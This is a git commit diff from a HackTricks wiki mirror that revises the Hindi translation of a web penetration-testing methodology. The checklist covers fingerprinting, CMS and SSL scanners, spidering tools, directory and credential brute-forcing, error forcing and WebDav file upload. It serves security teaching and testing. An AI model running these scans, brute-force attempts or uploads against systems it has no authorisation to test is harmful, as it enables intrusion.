mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/idor.md', 'src/pentesting-web/command-in
This commit is contained in:
parent
017680fe23
commit
49352a3e04
@ -432,6 +432,7 @@
|
|||||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||||
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||||
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||||
|
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
|
||||||
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||||
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
||||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# 80,443 - Pentesting Web Methodology
|
# 80,443 - Pentesting वेब कार्यप्रणाली
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Basic Info
|
## बुनियादी जानकारी
|
||||||
|
|
||||||
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई **विभिन्न प्रकार की कमजोरियाँ** मौजूद हैं।
|
वेब सर्विस सबसे **सामान्य और व्यापक सेवा** है और इसमें कई **विभिन्न प्रकार की vulnerabilities** मौजूद हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
|
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
|
||||||
```bash
|
```bash
|
||||||
@ -17,55 +17,55 @@ PORT STATE SERVICE
|
|||||||
nc -v domain.com 80 # GET / HTTP/1.0
|
nc -v domain.com 80 # GET / HTTP/1.0
|
||||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
```
|
```
|
||||||
### वेब एपीआई मार्गदर्शन
|
### वेब API मार्गदर्शन
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
web-api-pentesting.md
|
web-api-pentesting.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## कार्यप्रणाली का सारांश
|
## कार्यप्रणाली सारांश
|
||||||
|
|
||||||
> इस कार्यप्रणाली में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस कार्यप्रणाली को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
|
> इस कार्यप्रणाली में हम मानकर चलेंगे कि आप केवल एक domain (or subdomain) पर हमला करने जा रहे हैं। इसलिए, आपको इस कार्यप्रणाली को दायरे (scope) के अंदर पाए गए प्रत्येक discovered domain, subdomain या IP (जिसमें अनिर्धारित web server हो) पर लागू करना चाहिए।
|
||||||
|
|
||||||
- [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
|
- [ ] प्रारम्भ में **पहचानें** कि वेब सर्वर किन **technologies** का उपयोग कर रहा है। यदि आप tech की पहचान करने में सफल होते हैं तो test के बाकी हिस्सों के दौरान ध्यान में रखने के लिए कोई **tricks** देखें।
|
||||||
- [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
|
- [ ] क्या उस technology के संस्करण के लिए कोई **known vulnerability** है?
|
||||||
- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
|
- [ ] कोई **well known tech** इस्तेमाल हो रही है? कोई **useful trick** है जो अधिक जानकारी निकालने में मदद करे?
|
||||||
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
|
- [ ] कोई **specialised scanner** चलाने योग्य है (जैसे wpscan)?
|
||||||
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
|
- [ ] **general purposes scanners** चलाएँ। आप कभी नहीं जान पाते कि वे कुछ खोज लेंगे या कोई रोचक जानकारी देंगे।
|
||||||
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
|
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि HTTPS)।
|
||||||
- [ ] वेब पृष्ठ को **स्पाइडरिंग** करना शुरू करें: यह सभी संभावित **फाइलों, फ़ोल्डरों** और **पैरामीटरों** को **खोजने** का समय है। साथ ही, **विशेष खोजों** के लिए जांचें।
|
- [ ] वेब पृष्ठ पर **spidering** शुरू करें: यह सभी संभावित **files, folders** और उपयोग में आने वाले **parameters** को **find** करने का समय है। साथ ही **special findings** की जाँच करें।
|
||||||
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
|
- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे spider किया जाना चाहिए।_
|
||||||
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
|
- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें।
|
||||||
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
|
- [ ] _ध्यान दें कि जब भी brute-forcing या spidering के दौरान कोई नया directory मिलती है, उसे Brute-Forced किया जाना चाहिए।_
|
||||||
- [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का परीक्षण करें।
|
- [ ] **Backups checking**: सामान्य backup extensions जोड़कर क्या आप खोजे गए **files** के **backups** पा सकते हैं, यह जांचें।
|
||||||
- [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
|
- [ ] **Brute-Force parameters**: छिपे हुए parameters को **find** करने का प्रयास करें।
|
||||||
- [ ] एक बार जब आप सभी संभावित **एंडपॉइंट्स** की **पहचान** कर लेते हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके साथ संबंधित सभी प्रकार की **भेद्यताओं** की जांच करें।
|
- [ ] एक बार जब आप सभी संभावित **endpoints** को पहचान लें जो **user input** स्वीकार करते हैं, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जाँच करें।
|
||||||
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
|
||||||
## सर्वर संस्करण (भेद्य?)
|
## सर्वर संस्करण (Vulnerable?)
|
||||||
|
|
||||||
### पहचानें
|
### पहचान
|
||||||
|
|
||||||
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
|
जाँचें कि चल रहे सर्वर के **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\
|
||||||
**HTTP हेडर और प्रतिक्रिया के कुकीज़** **तकनीकों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)** जैसे उपकरण भी उपयोगी हो सकते हैं:**
|
रिस्पॉन्स के **HTTP headers and cookies** तकनीकें और/या उपयोग किए जा रहे **version** की **पहचान** के लिए बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर version की पहचान कर सकता है, लेकिन tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com) भी उपयोगी हो सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
whatweb -a 1 <URL> #Stealthy
|
whatweb -a 1 <URL> #Stealthy
|
||||||
whatweb -a 3 <URL> #Aggresive
|
whatweb -a 3 <URL> #Aggresive
|
||||||
webtech -u <URL>
|
webtech -u <URL>
|
||||||
webanalyze -host https://google.com -crawl 2
|
webanalyze -host https://google.com -crawl 2
|
||||||
```
|
```
|
||||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
खोजें **के लिए** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||||
|
|
||||||
### **Check if any WAF**
|
### **जांचें कि कोई WAF है या नहीं**
|
||||||
|
|
||||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||||
|
|
||||||
### Web tech tricks
|
### वेब टेक ट्रिक्स
|
||||||
|
|
||||||
कुछ **tricks** विभिन्न प्रसिद्ध **technologies** में **vulnerabilities** खोजने के लिए:
|
कई प्रसिद्ध उपयोग किए जाने वाली **technologies** में **finding vulnerabilities** के लिए कुछ **tricks**:
|
||||||
|
|
||||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||||
- [**Apache**](apache.md)
|
- [**Apache**](apache.md)
|
||||||
@ -78,6 +78,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
|||||||
- [**Golang**](golang.md)
|
- [**Golang**](golang.md)
|
||||||
- [**GraphQL**](graphql.md)
|
- [**GraphQL**](graphql.md)
|
||||||
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
- [**H2 - Java SQL database**](h2-java-sql-database.md)
|
||||||
|
- [**ISPConfig**](ispconfig.md)
|
||||||
- [**IIS tricks**](iis-internet-information-services.md)
|
- [**IIS tricks**](iis-internet-information-services.md)
|
||||||
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
|
||||||
- [**JBOSS**](jboss.md)
|
- [**JBOSS**](jboss.md)
|
||||||
@ -100,28 +101,27 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
|||||||
- [**Wordpress**](wordpress.md)
|
- [**Wordpress**](wordpress.md)
|
||||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||||
|
|
||||||
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
|
_ध्यान में रखें कि वही **domain** अलग-अलग **ports**, **folders** और **subdomains** में अलग-अलग **technologies** का उपयोग कर सकता है._\
|
||||||
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए न भूलें (और मुझे बताएं!)।
|
यदि web application किसी भी पहले सूचीबद्ध जाने-माने **tech/platform** या किसी अन्य का उपयोग कर रही है, तो Internet पर नए ट्रिक्स खोजना न भूलें (और मुझे बताएं!).
|
||||||
|
|
||||||
### Source Code Review
|
### स्रोत कोड समीक्षा
|
||||||
|
|
||||||
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
|
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **your own a White box test** करने के अलावा कुछ ऐसी **information** हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो:
|
||||||
|
|
||||||
- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से है?
|
|
||||||
- **Credentials** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
|
|
||||||
- क्या **passwords** **plain text**, **encrypted** हैं या कौन सा **hashing algorithm** उपयोग किया गया है?
|
|
||||||
- क्या कुछ एन्क्रिप्ट करने के लिए कोई **master key** का उपयोग किया जा रहा है? कौन सा **algorithm** उपयोग किया गया है?
|
|
||||||
- क्या आप किसी **vulnerability** का फायदा उठाकर **इन फ़ाइलों** में से किसी तक पहुँच सकते हैं?
|
|
||||||
- क्या **github** में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कुछ **password introduced inside an old commit**)?
|
|
||||||
|
|
||||||
|
- क्या कोई **Change-log or Readme or Version** फ़ाइल या कोई ऐसी चीज़ है जिसमें **version info accessible** वेब पर उपलब्ध हो?
|
||||||
|
- क्रेडेंशियल्स किस तरह और कहाँ सहेजे जाते हैं? क्या कोई (पहुंच योग्य?) **file** है जिसमें credentials (usernames या passwords) हों?
|
||||||
|
- क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है?
|
||||||
|
- क्या यह कुछ encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है?
|
||||||
|
- क्या आप किसी vulnerability का उपयोग करके इनमें से किसी फ़ाइल तक **access any of these files** कर सकते हैं?
|
||||||
|
- क्या github में कोई **interesting information** है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password introduced inside an old commit**)?
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
code-review-tools.md
|
code-review-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Automatic scanners
|
### स्वचालित स्कैनर
|
||||||
|
|
||||||
#### General purpose automatic scanners
|
#### सामान्य प्रयोजन स्वचालित स्कैनर
|
||||||
```bash
|
```bash
|
||||||
nikto -h <URL>
|
nikto -h <URL>
|
||||||
whatweb -a 4 <URL>
|
whatweb -a 4 <URL>
|
||||||
@ -135,12 +135,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||||||
```
|
```
|
||||||
#### CMS स्कैनर
|
#### CMS स्कैनर
|
||||||
|
|
||||||
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक मिल जाए:
|
यदि कोई CMS उपयोग में है तो **स्कैनर चलाना** न भूलें, शायद कुछ दिलचस्प मिल जाए:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
```bash
|
```bash
|
||||||
cmsmap [-f W] -F -d <URL>
|
cmsmap [-f W] -F -d <URL>
|
||||||
@ -148,7 +148,7 @@ wpscan --force update -e --url <URL>
|
|||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
> इस बिंदु पर आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर की कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया है) और परीक्षण के दौरान ध्यान में रखने के लिए कुछ तरकीबें होनी चाहिए। यदि आप भाग्यशाली हैं, तो आपने एक CMS भी पाया है और कुछ स्कैनर चलाए हैं।
|
> इस चरण तक आपके पास क्लाइंट द्वारा उपयोग किए जा रहे वेब सर्वर के बारे में कुछ जानकारी होनी चाहिए (यदि कोई डेटा दिया गया हो) और टेस्ट के दौरान ध्यान में रखने के लिए कुछ ट्रिक्स। अगर आप भाग्यशाली हैं तो आपने किसी CMS को भी ढूंढ लिया होगा और कोई scanner चला लिया होगा।
|
||||||
|
|
||||||
## चरण-दर-चरण वेब एप्लिकेशन खोज
|
## चरण-दर-चरण वेब एप्लिकेशन खोज
|
||||||
|
|
||||||
@ -156,37 +156,37 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||||||
|
|
||||||
### प्रारंभिक जांच
|
### प्रारंभिक जांच
|
||||||
|
|
||||||
**दिलचस्प जानकारी के साथ डिफ़ॉल्ट पृष्ठ:**
|
**रुचिकर जानकारी वाले Default pages:**
|
||||||
|
|
||||||
- /robots.txt
|
- /robots.txt
|
||||||
- /sitemap.xml
|
- /sitemap.xml
|
||||||
- /crossdomain.xml
|
- /crossdomain.xml
|
||||||
- /clientaccesspolicy.xml
|
- /clientaccesspolicy.xml
|
||||||
- /.well-known/
|
- /.well-known/
|
||||||
- मुख्य और द्वितीयक पृष्ठों में टिप्पणियों की भी जांच करें।
|
- मुख्य और द्वितीयक पृष्ठों में टिप्पणियाँ भी जांचें।
|
||||||
|
|
||||||
**त्रुटियों को मजबूर करना**
|
**त्रुटियाँ जबरन उत्पन्न करना**
|
||||||
|
|
||||||
वेब सर्वर **अजीब डेटा** भेजे जाने पर **अप्रत्याशित रूप से व्यवहार** कर सकते हैं। इससे **कमजोरियों** या **संवेदनशील जानकारी का खुलासा** हो सकता है।
|
वेब सर्वर जब अजीब डेटा मिलता है तो **अनपेक्षित व्यवहार** कर सकते हैं। यह कुछ **vulnerabilities** या **संवेदनशील जानकारी का खुलासा** कर सकता है।
|
||||||
|
|
||||||
- **फर्जी पृष्ठों** तक पहुँचें जैसे /whatever_fake.php (.aspx,.html,.etc)
|
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
|
||||||
- **त्रुटियाँ उत्पन्न करने के लिए** **कुकी मान** और **पैरामीटर** मानों में **"\[]", "]]", और "\[\["** जोड़ें
|
- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors
|
||||||
- **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
|
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
|
||||||
- **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आज़माएँ
|
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
|
||||||
|
|
||||||
#### **जांचें कि क्या आप फ़ाइलें अपलोड कर सकते हैं (**[**PUT क्रिया, WebDav**](put-method-webdav.md)**)**
|
#### **यह जांचें कि क्या आप फाइलें अपलोड कर सकते हैं (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||||
|
|
||||||
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
|
यदि आप पाते हैं कि **WebDav** **enabled** है पर root फ़ोल्डर में **uploading files** की पर्याप्त permissions नहीं है तो कोशिश करें:
|
||||||
|
|
||||||
- **ब्रूट फोर्स** क्रेडेंशियल्स
|
- **Brute Force** credentials
|
||||||
- वेब पृष्ठ के अंदर **अन्य फ़ोल्डरों** में फ़ाइलें अपलोड करने के लिए WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
|
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
|
||||||
|
|
||||||
### **SSL/TLS कमजोरियाँ**
|
### **SSL/TLS कमजोरियाँ**
|
||||||
|
|
||||||
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को किसी भी भाग में मजबूर नहीं कर रहा है**, तो यह **MitM के लिए कमजोर** है
|
- अगर application किसी भी हिस्से में **HTTPS के उपयोग को अनिवार्य** नहीं कर रहा है, तो यह **MitM** के लिए कमजोर है
|
||||||
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
|
- अगर application **संवेदनशील डेटा (passwords) को HTTP द्वारा भेज रहा है**। तो यह एक उच्च स्तर की vulnerability है।
|
||||||
|
|
||||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** का उपयोग करें कमजोरियों की जांच करने के लिए (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और **[**a2sv**](https://github.com/hahwul/a2sv)** का उपयोग करें कमजोरियों की पुनः जांच करने के लिए:
|
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
|
||||||
```bash
|
```bash
|
||||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||||
#Use the --htmlfile to save the output inside an htmlfile also
|
#Use the --htmlfile to save the output inside an htmlfile also
|
||||||
@ -195,65 +195,65 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||||||
sslscan <host:port>
|
sslscan <host:port>
|
||||||
sslyze --regular <ip:port>
|
sslyze --regular <ip:port>
|
||||||
```
|
```
|
||||||
SSL/TLS कमजोरियों के बारे में जानकारी:
|
Information about SSL/TLS vulnerabilities:
|
||||||
|
|
||||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||||
|
|
||||||
### स्पाइडरिंग
|
### Spidering
|
||||||
|
|
||||||
वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजना चाहिए।
|
वेब के भीतर किसी तरह का **spider** लॉन्च करें। spider का उद्देश्य परीक्षण किए गए एप्लिकेशन से जितने संभव हो सकने वाले पाथ्स को **खोजना** है। इसलिए, web crawling और external sources का उपयोग करके जितने संभव वैध पाथ्स मिलें उन्हें इकट्ठा करना चाहिए।
|
||||||
|
|
||||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)।
|
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS फ़ाइलों में LinkFinder और external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com) का उपयोग करता है।
|
||||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
|
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS फ़ाइलों के लिए LinkFider और Archive.org को external source के रूप में उपयोग करता है।
|
||||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
|
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, साथ ही "juicy files" का संकेत देता है।
|
||||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
|
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider। यह Archive.org में भी सर्च करता है।
|
||||||
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
|
- [**meg**](https://github.com/tomnomnom/meg) (go): यह टूल सीधे spider नहीं है पर उपयोगी हो सकता है। आप hosts की एक फाइल और paths की एक फाइल दे सकते हैं और meg हर host पर हर path को fetch करके response को सेव करेगा।
|
||||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
|
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering क्षमताओं वाला HTML spider। हालांकि ऐसा लगता है कि यह unmaintained है; precompiled version पुराना है और current code compile नहीं होता।
|
||||||
- [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
|
- [**gau**](https://github.com/lc/gau) (go): external providers (wayback, otx, commoncrawl) का उपयोग करने वाला HTML spider।
|
||||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
|
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट parameter वाले URLs खोजेगा और उन्हें list करेगा।
|
||||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर।
|
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering क्षमताओं वाला HTML spider।
|
||||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए पथों की खोज करने में सक्षम JS ब्यूटीफाई क्षमताओं के साथ। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नज़र डालना फायदेमंद हो सकता है, जो LinkFinder का एक रैपर है।
|
